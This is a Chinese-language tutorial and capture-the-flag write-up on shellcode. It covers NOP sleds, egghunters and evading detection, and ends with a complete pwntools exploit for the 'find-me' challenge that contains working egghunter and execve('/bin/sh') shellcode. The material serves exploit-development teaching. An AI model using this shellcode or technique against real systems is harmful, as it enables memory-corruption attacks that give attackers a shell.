一.shellcode 介绍
- shellcode是什么?
shellcode是漏洞利用脚本payload中的一小段机器码。 - payload是什么?
payload = <win function> + <overwrite rip>- 函数(function)只是汇编代码
- 汇编代码只是字节
- 漏洞利用过程payload在栈中的布局图
- 此时在内存中的某个地方存放shellcode(pop a shell)
- 同时淹没rip,使其指向shellcode起始地址。

二.漏洞利用中可能存在的问题
-
无法精准知道shellcode的起始地址。
解决办法:NoPsLeD, 在shellcode前添加NOP雪橇(b’\x90’),不做任何有实质影响的操作,仅占用内存空间。当覆盖rip时,只需将rip指到NOP雪橇中,程序执行权将自动滑动到shellcode处执行。
示例代码如下:NOP * 1 million + 20 bytes of shellcode = win function -
自动被执行的buffer太小,无法存放完整shellcode。
解决办法:Egghunter, 如果会被执行的buffer太小,我们需要在binary中找一个具有写权限的大地方,把egg+pop_a_shell_shellcode写入这个大buffer。而在这个小buffer中写入小的搜索内存shellcode,使其查找binary的内存直到找到egg,之后跳过egg执行pop_a_shell_shellcode.big buffer: <egg> + <pop_a_shell_shellcode> small buffer: <search_memory_shellcode> -
shellcode被检测并被拦截。
解决办法:想办法绕过,比如换用不同shellcode,只要能达到相同效果和目的即可。
三. shellcode编写文档
x86_64架构:系统调用表
四.例题分析
在此分享一道egghunter相关的题:find-me。
1.我们先定位到small buffer片段,此处功能点可向small buffer输入少字节shellcode,并且此时rax存放的是此处small buffer的地址。根据2.2,此处放置search_memory_shellcode,并且搜索起始地址为rax指向的地址。
2.由下图红色方框代码片段可知,允许对big buffer输入0x100字节,故此处有充足的地方存放shellcode代码。但由于是egghunter,shellcode需要前置egg。
3.由上图蓝色方块代码片段可知,紧接着binary会执行small buffer处存放的代码。转向执行搜索内存寻找egg操作。一旦搜索到egg,binary需要跳过egg进而执行shellcode弹出shell。
gdb调试图:当执行call rax指令时,rax确实指向small buffer。
此时,rax指向的内存地址存放的指令确实是small buffer我们写入的指令
具体找egg过程
4.Exploitation
from pwn import *
p = process("./find-me")
'''
1. add the egghunter_shellcode in small buffer
2. add the pop_a_shell shellcode in big buffer, moreover, add the egg b"w00tw00t" in front of the pop_a_shell shellcode
3. the binary will execute small buffer
'''
context.endian = 'little'
context.arch = 'amd64'
'''
add egghunter_shellcode on small stack, egg = W00TW00T
'W00TW00T' little endian = 0x5430305754303057
'''
payload_egghunter_shellcode = asm(f"""
mov r8, 0x5430305754303057
find_egg:
cmp [rax], r8
je found
inc rax
jmp find_egg
found:
add rax, 8
jmp rax
""")
#shellcode: pop a shell
pop_a_shell = asm(f"""
mov rax, 0x0068732F6E69622F /*push '/bin/sh\x00*/
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall
""")
payload0 = payload_egghunter_shellcode
p.sendlineafter(b"smallbuf shellcode", payload0)
'''
add an egg in front of the pop_a_shell shellcode
'''
payload1 = b"W00TW00T" + pop_a_shell
p.sendlineafter(b"bigbuf shellcode", payload1)
p.interactive()
p.close()